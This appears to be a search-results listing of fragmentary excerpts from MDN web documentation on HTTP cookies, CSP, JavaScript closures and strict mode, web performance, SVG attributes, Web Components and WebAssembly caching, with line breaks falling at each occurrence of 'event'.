...tifying the user to start again (this time on the newest version), or by showing the user a diff of both versions, helping them decide which changes they wish to keep. dealing with the first upload of a resource the first upload of a resource is an edge case of the previous. like any update of a resource, it is subject to a race condition if two clients try to perform at the similar times. to pr
event this, conditional requests can be used: by adding if-none-match with the special value of '*', representing any etag. the request will succeed, only if the resource didn't exist before: if-none-match will only work with http/1.1 (and later) compliant servers. if unsure if the server will be compliant, you need first to issue a head request to the resource to check this. conclusion conditiona...
Using HTTP cookies - HTTP
the max-age attribute. for example: set-cookie: id=a3fwa; expires=wed, 31 oct 2021 07:28:00 gmt; note: when an expires date is set, the time and date set is relative to the client the cookie is being set on, not the server. if your site authenticates users, it should regenerate and resend session cookies, even ones that already exist, whenever the user authenticates. this technique helps pr
event session fixation attacks, where a third party can reuse a user's session. restrict access to cookies there are a couple of ways to ensure that cookies are sent securely and are not accessed by unintended parties or scripts: the secure attribute and the httponly attribute. a cookie with the secure attribute is sent to the server only with an encrypted request over the https protocol, never with...
...ties or scripts: the secure attribute and the httponly attribute. a cookie with the secure attribute is sent to the server only with an encrypted request over the https protocol, never with unsecured http, and therefore can't easily be accessed by a man-in-the-middle attacker. insecure sites (with http: in the url) can't set cookies with the secure attribute. however, do not assume that secure pr
events all access to sensitive information in cookies; for example, it can be read by someone with access to the client's hard disk. a cookie with the httponly attribute is inaccessible to the javascript document.cookie api; it is sent only to the server. for example, cookies that persist server-side sessions don't need to be available to javascript, and should have the httponly attribute. this precau...
... in cookies with the understanding that all cookie values are visible to, and can be changed by, the end-user. depending on the application, it may be desirable to use an opaque identifier which is looked-up by the server or to investigate alternative authentication/confidentiality mechanisms such as json web tokens. ways to mitigate attacks involving cookies: use the httponly attribute to pr
event access to cookie values via javascript. cookies that are used for sensitive information (such as indicating authentication) should have a short lifetime, with the samesite attribute set to strict or lax. (see samesite cookies, above.) in browsers that support samesite, this has the effect of ensuring that the authentication cookie is not sent with cross-origin requests, so such a request is effe...
CSP: connect-src - HTTP
note: connect-src 'self' does not resolve to websocket schemas in all browsers, more info: https://github.com/w3c/webappsec-csp/issues/7 csp version 1 directive type fetch directive default-src fallback yes. if this directive is absent, the user agent will look for the default-src directive. ...
...me and port number. you must include the single quotes. some browsers specifically exclude blob and filesystem from source directives. sites needing to allow these content types can specify them using the data attribute. 'unsafe-eval' allows the use of eval() and similar methods for creating code from strings. you must include the single quotes. 'unsafe-hashes' allows enabling specific inline
event handlers. if you only need to allow inline
event handlers and not inline <script> elements or javascript: urls, this is a safer method than using the unsafe-inline expression. 'unsafe-inline' allows the use of inline resources, such as inline <script> elements, javascript: urls, inline
event handlers, and inline <style> elements. the single quotes are required. 'none' refers to the empty set;...
...for external scripts. examples violation cases given this csp header: content-security-policy: connect-src https://example.com/ the following connections are blocked and won't load: <a ping="https://not-example.com"> <script> var xhr = new xmlhttprequest(); xhr.open('get', 'https://not-example.com/'); xhr.send(); var ws = new websocket("https://not-example.com/"); var es = new
eventsource("https://not-example.com/"); navigator.sendbeacon("https://not-example.com/", { ... }); </script> specifications specification status comment content security policy level 3the definition of 'connect-src' in that specification. working draft no changes. content security policy level 2the definition of 'connect-src' in that specification. re...
Closures - JavaScript
ta. this has obvious parallels to object-oriented programming, where objects allow you to associate data (the object's properties) with one or more methods. consequently, you can use a closure anywhere that you might normally use an object with only a single method. situations where you might want to do this are particularly common on the web. much of the code written in front-end javascript is
event-based. you define some behavior, and then attach it to an
event that is triggered by the user (such as a click or a keypress). the code is attached as a callback (a single function that is executed in response to the
event). for instance, suppose we want to add buttons to a page to adjust the text size. one way of doing this is to specify the font-size of the body element (in pixels), and then s...
... for (var i = 0; i < helptext.length; i++) { var item = helptext[i]; document.getelementbyid(item.id).onfocus = function() { showhelp(item.help); } } } setuphelp(); try running the code in jsfiddle. the helptext array defines three helpful hints, each associated with the id of an input field in the document. the loop cycles through these definitions, hooking up an onfocus
event to each one that shows the associated help method. if you try this code out, you'll see that it doesn't work as expected. no matter what field you focus on, the message about your age will be displayed. the reason for this is that the functions assigned to onfocus are closures; they consist of the function definition and the captured environment from the setuphelp function's scope. three closur...
... } } setuphelp(); if you don't want to use more closures, you can use the let keyword introduced in es2015 : function showhelp(help) { document.getelementbyid('help').innerhtml = help; } function setuphelp() { var helptext = [ {'id': 'email', 'help': 'your e-mail address'}, {'id': 'name', 'help': ...
Lexical grammar - JavaScript
words and literals and has rules for automatic insertion of semicolons to end statements. control characters control characters have no visual representation but are used to control the interpretation of the text. unicode format-control characters code point name abbreviation description u+200c zero width non-joiner <zwnj> placed between characters to pr
event being connected into ligatures in certain languages (wikipedia). u+200d zero width joiner <zwj> placed between characters that would not normally be connected in order to cause the characters to be rendered using their connected form in certain languages (wikipedia). u+feff byte order mark <bom> used at the start of the script to mark it as unicode and the text...
...riage return <cr> new line character in commodore and early mac systems. \r u+2028 line separator <ls> wikipedia u+2029 paragraph separator <ps> wikipedia comments comments are used to add hints, notes, suggestions, or warnings to javascript code. this can make it easier to read and understand. they can also be used to disable code to pr
event it from being executed; this can be a valuable debugging tool. javascript has two long-standing ways to add comments to code. the first way is the // comment; this makes all text following it on the same line into a comment. for example: function comment() { // this is a one line javascript comment console.log('hello world!'); } comment(); the second way is the /* */ style, which is much...
...at we don't need to end the comment until we're done. */ console.log('hello world!'); } comment(); you can also use it in the middle of a line, if you wish, although this can make your code harder to read so it should be used with caution: function comment(x) { console.log('hello ' + x /* insert the value of x */ + ' !'); } comment('world'); in addition, you can use it to disable code to pr
event it from running, by wrapping code in a comment, like this: function comment() { /* console.log('hello world!'); */ } comment(); in this case, the console.log() call is never issued, since it's inside a comment. any number of lines of code can be disabled this way. hashbang comments a specialized third comment syntax, the hashbang comment, is in the process of being standardized in ecmascrip...
Strict mode - JavaScript
ikely to be defined in future versions of ecmascript. see transitioning to strict mode, if you want to change your code to work in the restricted variant of javascript. invoking strict mode strict mode applies to entire scripts or to individual functions. it doesn't apply to block statements enclosed in {} braces; attempting to apply it to such contexts does nothing. eval code, function code,
event handler attributes, strings passed to windowtimers.settimeout(), and related functions are entire scripts, and invoking strict mode in them works as expected. strict mode for scripts to invoke strict mode for an entire script, put the exact statement "use strict"; (or 'use strict';) before any other statements. // whole-script strict mode syntax 'use strict'; var v = "hi! i'm a strict mode scr...
...the normal code may duplicate prope...
...without strict mode, setting properties is simply ignored (no-op), with strict mode, however, a typeerror is thrown. (function() { 'use strict'; false.true = ''; // typeerror (14).sailing = 'home'; // typeerror 'with'.you = 'far away'; // typeerror })(); simplifying variable uses strict mode simplifies...
Populating the page: how browsers work - Web Performance
o long, but latency and bandwidth are foes which can cause delays. dns lookup the first step of navigating to a web page is finding where the assets for that page are located. if you navigate to https://example.com, the html page is located on the server with ip address of 93.184.216.34. if you’ve never visited this site, a dns lookup must happen. your browser requests a dns lookup, which is
eventually fielded by a name server, which in turn responds with an ip address. after this initial request, the ip will likely be cached for a time, which speeds up subsequent requests by retrieving the ip address from the cache instead of contacting a name server again. dns lookups usually only need to be done once per hostname for a page load. however, dns lookups must be done for each unique hostna...
...essary. but we didn't include the image size! when the image is obtained from the server, the rendering process goes back to the layout steps and restarts from there. interactivity once the main thread is done painting the page, you would think we would be "all set." that isn't necessarily the case. if the load includes javascript, that was correctly deferred, and only executed after the onload
event fires, the main thread might be busy, and not available for scrolling, touch, and other interactions. time to interactive (tti) is the measurement of how long it took from that first request which led to the dns lookup and ssl connection to when the page is interactive -- interactive being the point in time after the first contentful paint when the page responds to user interactions within 50ms.
... see also web performance ...
Lazy loading - Web Performance
tion (an example being scroll) in order to view them. loading attribute the loading attribute on an <img> element (or the loading attribute on an <iframe>) can be used to instruct the browser to defer loading of images/iframes that are off-screen until the user scrolls near them. <img src="image.jpg" loading="lazy" alt="..." /> <iframe src="video-player.html" loading="lazy"></iframe> the load
event fires when the eagerly-loaded content has all been loaded; at that time, it's entirely possible (or even likely) that there may be lazily-loaded images that are within the visual viewport that haven't yet loaded. you can determine if a given image has finished loading by examining the value of its boolean complete property. polyfill include this polyfill to provide support for older and curren...
...en't yet loaded. you can determine if a given image has finished loading by examining the value of its boolean complete property. ...
...to provide support for older and currently incompatible browsers: loading-attribute-polyfill intersection observer api intersection observers allow the user to know when an observed element enters or exits the browser’s viewport. ...
Optimizing startup performance - Web Performance
an app from another platform to the web. starting up nicely regardless of platform, it's always a good idea to start up as quickly as possible. since that's a universal issue, we won't be focusing on it too much here. instead, we're going to look at a more important issue when building web apps: starting up as asynchronously as possible. ...
...n building web apps: starting up as asynchronously as possible. that means not running all your startup code in a single
event handler on the app's main thread. instead, you should write your code so that your app creates a web worker that does as much as possible in a background thread (for example, fetching and processing data.) then, anything that must be done on the main thread (such as user
events and rendering ui) should be broken up into small pieces so that the app's
event loop continues to cycle while it starts up. this will pr
event the app, browser, and/or device from appearing to have locked up. why is it important to be asynchronous? other than the reasons suggested above, consider the impact of a non-responsive page or user interface. the user is unable to cancel if they launched...
...ess bar, so that the user knows how much longer they'll need to wait while your app starts up. where there's a will... if you're starting your project from scratch, it's usually pretty easy to just write everything the "right way," making appropriate bits of the code asynchronous. all pure startup calculations should be performed in background threads, while you keep the run-time of main thread
events as short as possible. include a progress indicator so the user knows what's going on and how long they'll be waiting. in theory, anyway, it should be pretty easy to design your new app to start up nicely. on the other hand, however, it can get tricky when you're porting an existing app to the web. a desktop application doesn't need to be written in an asynchronous fashion because usually the op...
Web Performance
may have to rely on javascript-based animations instead.lazy loadinglazy loading is a strategy to identify resources as non-blocking (non-critical) and load these only when needed. it is a way of shorten the critical rendering path length, what would translate into improved page load times. navigation and resource timingsnavigation timings are metrics measuring a browser's document navigation
events. resource timings are detailed network timing measurements regarding the loading of an application's resources.optimizing startup performanceregardless of platform, it's always a good idea to start up as quickly as possible. since that's a universal issue, we won't be focusing on it too much here. instead, we're going to look at a more important issue when building web apps: starting up as async...
...ng of an application's resources.optimizing startup performanceregardless of platform, it's always a good idea to start up as quickly as possible. since that's a universal issue, we won't be focusing on it too much here. instead, we're going to look at a more important issue when building web apps: starting up as asynchronously as possible. that means not running all your startup code in a single
event handler on the app's main thread.performance budgetsa performance budget is a limit to pr
event regressions. it can apply to a file, a file type, all files loaded on a page, a specific metric (e.g. time to interactive), a custom metric (e.g. time to hero element), or a threshold over a period of time. performance fundamentalsperformance means efficiency. in the context of open web apps, this doc...
...ents within applications. together, these interfaces can be used to help identify an application's performance bottlenecks. user timing api create application specific timestamps using the user timing api's "mark" and "measure" entry types - that are part of the browser's performance timeline. frame timing api the performanceframetiming interface provides frame timing data about the browser's
event loop. beacon api the beacon interface schedules an asynchronous and non-blocking request to a web server. intersection observer api learn to time element visibility with the intersection observer api and be asynchronously notified when elements of interest becomes visible. other documentation developer tools performance features this section provides information on how to use and unders...
Privacy, permissions, and information security
be granted conditionally, such as by permitting only a select group of people to access it, or only allowing the information to be accessed and used for a limited period of time. security security is about the active protection of data or a system against being accessed, downloaded, or operated by people or organizations that don't have permission to do so. good security practices aim to pr
event unauthorized access to systems or data, regardless of what the target is. personal and private information <what kind of information is private or personal?> privacy risks <what are ways personal information can be gotten by third parties?> fingerprinting fingerprinting is a technique used to gather a variety of information that's made available by a user's browser and collating it until...
...rinting is a technique used to gather a variety of information that's made available by a user's browser and collating it until it becomes possible to uniquely identify that user's browser. even seemingly innocuous information can in principle be used in the fingerprinting process, though the more unique the information is to the particular device the better. modern browsers take steps to help pr
event fingerprinting-based attacks by either not allowing information to be accessed or, where the information must be made available, by introducing variations that pr
event it from being used for identification purposes. for example, if a web site queries a user's browser for the elapsed time, a comparison of that time to the time as reported by the server might be useful as a factor in fingerprintin...
... description certificate transparency an open standard for monitoring and auditing certificates, creating a database of public logs that can be used to help identify incorrect or malicious certificates content security policy provides the ability to define the extent to which a document's content can be accessed by other devices over the web; used in particular to pr
event or mitigate attacks on the server feature policy lets web developers selectively enable, disable, and modify the behavior of certain features and apis both for a document and for subdocuments loaded in <iframe>s <iframe>'s allow attribute technically part of feature policy, the allow attribute on an <iframe> specifies which web features the document in the frame should be ...
Progressive web app structure - Progressive web apps (PWAs)
tp:///\'></a>','-'); content += entry; }; document.getelementbyid('content').innerhtml = content; next, it registers a service worker: if('serviceworker' in navigator) { navigator.serviceworker.register('/pwa-examples/js13kpwa/sw.js'); }; the next code block requests permission for notifications when a button is clicked: var button = document.getelementbyid("notifications"); button.add
eventlistener('click', function(e) { notification.requestpermission().then(function(result) { if(result === 'granted') { randomnotification(); } }); }); the last block creates notifications that display a randomly-selected item from the games list: function randomnotification() { var randomitem = math.floor(math.random()*games.length); var notiftitle = game...
...192.png', '/pwa-examples/js13kpwa/icons/icon-256.png', '/pwa-examples/js13kpwa/icons/icon-512.png' ]; var gamesimages = []; for(var i=0; i<games.length; i++) { gamesimages.push('data/img/'+games[i].slug+'.jpg'); } var contenttocache = appshellfiles.concat(gamesimages); the next block installs the service worker, which then actually caches all the files contained in the above list: self.add
eventlistener('install', function(e) { console.log('[service worker] install'); e.waituntil( caches.open(cachename).then(function(cache) { console.log('[service worker] caching all: app shell and content'); return cache.addall(contenttocache); }) ); }); last of all, the service worker fetches content from the cache if it is available there, providing offline functionality: s...
...r('install', function(e) { console.log('[service worker] install'); e.waituntil( caches.open(cachename).then(function(cache) { console.log('[service worker] caching all: app shell and content'); return cache.addall(contenttocache); }) ); }); last of all, the service worker fetches content from the cache if it is available there, providing offline functionality: self.add
eventlistener('fetch', function(e) { e.respondwith( caches.match(e.request).then(function(r) { console.log('[service worker] fetching resource: '+e.request.url); return r || fetch(e.request).then(function(response) { return caches.open(cachename).then(function(cache) { console.log('[service worker] caching new resource: '+e.request.url); cache.put(e.request...
display - SVG: Scalable Vector Graphics
ts children to be invisible; thus, it acts on groups of elements as a group. this means that any child of an element with display="none" will never be rendered even if the child has a value for display other than none. when the display attribute is set to none, then the given element does not become part of the rendering tree. it has implications for the <tspan>, <tref>, and <altglyph> elements,
event processing, for bounding box calculations and for calculation of clipping paths: if display is set to none on a <tspan>, <tref>, or <altglyph> element, then the text string is ignored for the purposes of text layout. regarding
events, if display is set to none, the element receives no
events. the geometry of a graphics element with display set to none is not included in bounding box and clip...
...<tref>, or <altglyph> element, then the text string is ignored for the purposes of text layout. regarding
events, if display is set to none, the element receives no
events. the geometry of a graphics element with display set to none is not included in bounding box and clipping paths calculations. the display attribute only affects the direct rendering of a given element, whereas it does not pr
event elements from being referenced by other elements. for example, setting it to none on a <path> element will pr
event that element from getting rendered directly onto the canvas, but the <path> element can still be referenced by a <textpath> element; furthermore, its geometry will be used in text-on-a-path processing even if the <path> has a display value of none. this attribute also affects direct...
...tting rendered directly onto the canvas, but the <path> element can still be referenced by a <textpath> element; furthermore, its geometry will be used in text-on-a-path processing even if the <path> has a display value of none. this attribute also affects direct rendering into offscreen canvases, such as occurs with masks or clip paths. thus, setting display="none" on a child of a <mask> will pr
event the given child element from being rendered as part of the mask. similarly, setting display="none" on a child of a <clippath> element will pr
event the given child element from contributing to the clipping path. note: as a presentation attribute, display can be used as a css property. see css display for further information. as a presentation attribute, it can be applied to any element. html,...
textLength - SVG: Scalable Vector Graphics
t starts by stashing references to the elements it will need to access, using document.getelementbyid(): const widthslider = document.getelementbyid("widthslider"); const widthdisplay = document.getelementbyid("widthdisplay"); const textelement = document.getelementbyid("hello"); const baselength = math.floor(textelement.textlength.baseval.value); widthslider.value = baselength; widthslider.add
eventlistener("input", function(
event) { textelement.textlength.baseval.newvaluespecifiedunits( svglength.svg_lengthtype_px, widthslider.valueasnumber); widthdisplay.innertext = widthslider.value; }, false); widthslider.dispatch
event(new
event("input")); after fetching the element references, an
eventlistener is established by calling add
eventlistener() on the slider control, to receive a...
..."input", function(
event) { textelement.textlength.baseval.newvaluespecifiedunits( svglength.svg_lengthtype_px, widthslider.valueasnumber); widthdisplay.innertext = widthslider.value; }, false); widthslider.dispatch
event(new
event("input")); after fetching the element references, an
eventlistener is established by calling add
eventlistener() on the slider control, to receive any input
events which occur. these
events will be sent any time the slider's value changes, even if the user hasn't stopped moving it, so we can responsively adjust the text width. ...
...ue; }, false); widthslider.dispatch
event(new
event("input")); after fetching the element references, an
eventlistener is established by calling add
eventlistener() on the slider control, to receive any input
events which occur. these
events will be sent any time the slider's value changes, even if the user hasn't stopped moving it, so we can responsively adjust the text width. when an "input"
event occurs, we call svglength.newvaluespecifiedunits() to set the value of textlength to the slider's new value, using the svglength interface's svg_lengthtype_px unit type to indicate that the value represents pixels. note that we have to dive into textlength to get its baseval property; textlength is stored as an svglength object, so we can't treat it like a plain number. after updating the text w...
visibility - SVG: Scalable Vector Graphics
the visibility attribute lets you control the visibility of graphical elements. with a value of hidden or collapse the current graphics element is invisible. note: if the visibility attribute is set to hidden on a text element, then the text is invisible but still takes up space in text layout calculations. depending on the value of attribute pointer-
events, graphics elements which have their visibility attribute set to hidden still might receive
events. note: as a presentation attribute, visibility can be used as a css property. see the css visibility property for more information. as a presentation attribute, it can be applied to any element but it has effect only on the following nineteen elements: <a>, <altglyph>, <audio>, <canvas>, <circle>, <ellipse>, <foreignobject>, <iframe>, <imag...
... width="80" height="80" visibility="hidden"/> </g> </svg> usage notes value visible | hidden | collapse default value visible animatable yes visible this value indicates that the element will be painted. hidden this value indicates that the element will not be painted. though it is still part of the rendering tree, i.e. it may receive pointer
events depending on the pointer-
events attribute, may receive focus depending on the tabindex attribute, contributes to bounding box calculations and clipping paths, and does affect text layout. collapse this value is equal to hidden. example the following example toggles the css visibility of the svg image path. html <button id="nav-toggle-button" > <svg xmlns="http://www.w3.org/2000/svg" wid...
... recommendation css definition of the p...
<desc> - SVG: Scalable Vector Graphics
candidate recommendation scalable vector graphics (svg) 1.1 (se...
... candidate recommendation scalable vector graphics (svg) 1.1 (second edition)the definiti...
... candidate recommendation scalable vector graphics (svg) 1.1 (second edition)the definition of '<desc>' in that specificatio...
<script> - SVG: Scalable Vector Graphics
ipts to an svg document. ...
... value type: <string>; default value: ?; animatable: yes href the url to the script to load. ...
...l> ; default value: none; animatable: no type this attribute defines type of the script language to use. value type: <string>; default value: application/ecmascript; animatable: no xlink:href deprecated since svg 2 the url to the script to load. value type: <url> ; default value: none; animatable: no global attributes core attributes most notably: id styling attributes class, style
event attributes global
event attributes, document element
event attributes usage notes categoriesnonepermitted contentany elements or character data specifications specification status comment scalable vector graphics (svg) 2the definition of '<script>' in that specification. candidate recommendation scalable vector graphics (svg) 1.1 (second edition)t...
<stop> - SVG: Scalable Vector Graphics
lor of the gradient stop. it can be used as a css property. value type: currentcolor|<color>|<icccolor>; default value: black; animatable: yes stop-opacity this attribute defines the opacity of the gradient stop. it can be used as a css property. ...
... it can be used as a css property. value type: currentcolor|<color>|<icccolor>; default value: black; animatable: yes stop-opacity this attribute defines the opacity of the gradient stop. it can be used as a css property. ...
... value type: currentcolor|<color>|<icccolor>; default value: black; animatable: yes stop-opacity this attribute defines the opacity of the gradient stop. it can be used as a css property. ...
<text> - SVG: Scalable Vector Graphics
idth that the text should be scaled to fit. ...
... be scaled to fit. ...
...pe: <length>|<percentage> ; default value: none; animatable: yes global attributes core attributes most notably: id, tabindex styling attributes class, style, font-family, font-size, font-size-adjust, font-stretch, font-style, font-variant, font-weight conditional processing attributes most notably: requiredextensions, systemlanguage
event attributes global
event attributes, graphical
event attributes presentation attributes most notably: clip-path, clip-rule, color, color-interpolation, color-rendering, cursor, display, dominant-baseline, fill, fill-opacity, fill-rule, filter, mask, opacity, pointer-
events, shape-rendering, stroke, stroke-dasharray, stroke-dashoffset, stroke-linecap, stroke-linejoin, stroke-miterlimit, stroke-opacity, stroke-width, text-anchor, transform, vector-...
Scripting - SVG: Scalable Vector Graphics
one can override default browser behaviors with the evt.pr
eventdefault( ) method, add
eventlisteners to objects with the syntax element.add
eventlistener(
event, function, usecapture), and set element properties with syntax svgelement.style.setproperty("fill-opacity", "0.0", ""). note the existence of all three arguments setting properties. pr
eventing default behavior in
event code when writing drag and drop code, sometimes you'll find that text on the page gets accidently selected while dragging. or if you want to use the backspace key in your code, you want to override the browser's default behavior when the backspace key is pressed, which is to go back to the previous page. ...
...e of all three arguments setting properties. pr
eventing default behavior in
event code when writing drag and drop code, sometimes you'll find that text on the page gets accidently selected while dragging. or if you want to use the backspace key in your code, you want to override the browser's default behavior when the backspace key is pressed, which is to go back to the previous page. the evt.pr
eventdefault() method lets you do this. using
eventlisteners with objects the methods add
eventlistener() and remove
eventlistener() are very useful when writing interactive svg. you can pass an object that implements the handle
event interface as the second parameter to these methods. function myrect(x,y,w,h,message){ this.message=message this.rect=document.createelementns("http://www.w3.org/2000/s...
... as the second parameter to these methods. function myrect(x,y,w,h,message){ this.message=message this.rect=document.createelementns("http://www.w3.org/2000/svg","rect") this.rect.setattributens(null,"x",x) this.rect.setattributens(null,"y",y) this.rect.setattributens(null,"width",w) this.rect.setattributens(null,"height",h) document.documentelement.appendchild(this.rect) this.rect.add
eventlistener("click",this,false) this.handle
event= function(evt){ switch (evt.type){ case "click": alert(this.message) break; } } } inter-document scripting: referencing embedded svg when using svg within html, adobe's svg viewer 3.0 automatically includes a window property called svgdocument that points to the svg document. this is not the case for mozilla's native svg...
Web Components
class syntax (see classes for more information). register your new custom element using the customelementregistry.define() method, passing it the element name to be defined, the class or function in which its functionality is specified, and optionally, what element it inherits from. if required, attach a shadow dom to the custom element using element.attachshadow() method. add child elements,
event listeners, etc., to the shadow dom using regular dom methods. if required, define an html template using <template> and <slot>. again use regular dom methods to clone the template and attach it to your shadow dom. use your custom element wherever you like on your page, just like you would any regular html element. tutorials using custom elements a guide showing how to use the features of ...
...to shadow dom: the node.getrootnode() method returns the context object's root, which optionally includes the shadow root if it is available. the node.isconnected property returns a boolean indicating whether or not the node is connected (directly or indirectly) to the context object, e.g. the document object in the case of the normal dom, or the shadowroot in the case of a shadow dom.
event extensions extensions to the
event interface related to shadow dom:
event.composed: returns a boolean which indicates whether the
event will propagate across the shadow dom boundary into the standard dom (true), or not (false).
event.composedpath: returns the
event’s path (objects on which listeners will be invoked). this does not include nodes in shadow trees if the shadow root was cre...
...le.assignedslot, which returns a reference to the slot the node is inserted in. element extensions extensions to the element interface related to slots: element.slot: returns the name of the shadow dom slot attached to the element. css pseudo-elements pseudo-elements relating specifically to slots: ::slotted: matches any content that is inserted into a slot. the slotchange
event fired on an htmlslotelement instance (<slot> element) when the node(s) contained in that slot change. examples we are building up a number of examples in our web-components-examples github repo. more will be added as time goes on. specifications specification status comment html living standardthe definition of '<template> element' in that specification. living st...
Index - XSLT: Extensible Stylesheet Language Transformations
. 13 transforming xml with xslt needsmigration, transforming_xml_with_xslt, xml, xslt the separation of content and presentation is a key design feature of xml. the structure of an xml document is designed to reflect and clarify important relationships among the individual aspects of the content itself, unhindered by a need to provide any indication about how this data should
eventually be presented. this intelligent structuring is particularly important as more and more data transfers are automated and take place between highly heterogeneous machines linked by a network. 14 an overview needshelp, needsmarkupwork, transforming_xml_with_xslt, xml, xslt the extensible stylesheet language/transform is a very powerful language, and a complete discussion of ...
...acters and symbols that are to be used in converting numbers into strings using theformat-number( ) function. 30 <xsl:element> element, reference, xslt the <xsl:element> element creates an element in the output document. 31 <xsl:fallback> element, reference, xslt, fallback the <xsl:fallback> element specifies what template to use if a given extension (or,
eventually, newer version) element is not supported. 32 <xsl:for-each> element, reference, xslt, for, for-each the <xsl:for-each> element selects a set of nodes and processes each of them in the same way. it is often used to iterate through a set of nodes or to change the current node. if one or more <xsl:sort> elements appear as the children of this element, sorting occurs before ...
...terminates execution of the stylesheet. it can be useful for debugging. 38 <xsl:namespace-alias> element, reference, xslt, namespace-alias the <xsl:namespace-alias> element is a rarely used device that maps a namespace in the stylesheet to a different namespace in the output tree. the most common use for this element is in generating a stylesheet from another stylesheet. to pr
event a normally xsl:-prefixed literal result element (which should simply be copied as-is to the result tree) from being misunderstood by the processor, it is assigned a temporary namespace which is appropriately re-converted back to the xslt namespace in the output tree. 39 <xsl:number> element, number, reference, xslt the <xsl:number> element counts things sequentially. it can a...
Caching compiled WebAssembly modules - WebAssembly
ut the database if the dbversion is updated; it returns a promise resolving to the new database. ...
...e((resolve, reject) => { var request = indexeddb.open(dbname, dbversion); request.onerror = reject.bind(null, 'error opening wasm cache database'); request.onsuccess = () => { resolve(request.result) }; request.onupgradeneeded =
event => { var db = request.result; if (db.objectstorenames.contains(storename)) { console.log(`clearing out version ${
event.oldversion} wasm cache`); db.deleteobjectstore(storename); } console.log(`creating version ${
event.newversion} wasm cache`); db.createobjectstore(storename) }; }); } looking up modules in the database our next function — lookupindatabase() — provides a simple promise-based operation for looking up the given url in the object store we created a...
...n the object store we created above. it resolves with the stored compiled module, or rejects with an error. function lookupindatabase(db) { return new promise((resolve, reject) => { var store = db.transaction([storename]).objectstore(storename); var request = store.get(url); request.onerror = reject.bind(null, `error getting wasm module ${url}`); request.onsuccess =
event => { if (request.result) resolve(request.result); else reject(`module ${url} was not found in wasm cache`); } }); } storing and instantiating modules next, we define a function storeindatabase() that fires off an async operation to store a given wasm module in a given database. function storeindatabase(db, module) { var store = db.transacti...